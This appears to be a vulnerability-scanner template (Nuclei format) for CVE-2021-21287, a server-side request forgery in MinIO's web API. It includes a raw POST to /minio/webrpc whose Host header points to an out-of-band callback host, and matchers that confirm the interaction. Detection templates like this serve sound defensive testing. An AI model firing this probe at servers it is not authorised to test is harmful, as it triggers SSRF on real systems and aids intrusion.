id: CVE-2021-21287

info:
  name: MinIO Browser API SSRF
  author: pikpikcu
  severity: high
  description: MinIO is a High Performance Object Storage released under Apache License v2.0. In MinIO before version RELEASE.2021-01-30T00-20-58Z there is a server-side request forgery vulnerability.
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-m4qq-5f7c-693q
    - https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21287
  tags: cve,cve2021,minio,ssrf,oob
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.70
    cve-id: CVE-2021-21287
    cwe-id: CWE-918

requests:
  - raw:
      - |
        POST /minio/webrpc HTTP/1.1
        Host: {{interactsh-url}}
        Content-Type: application/json
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
        Content-Length: 76

        {"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http" # Confirms the HTTP Interaction

      - type: word
        words:
          - "We encountered an internal error"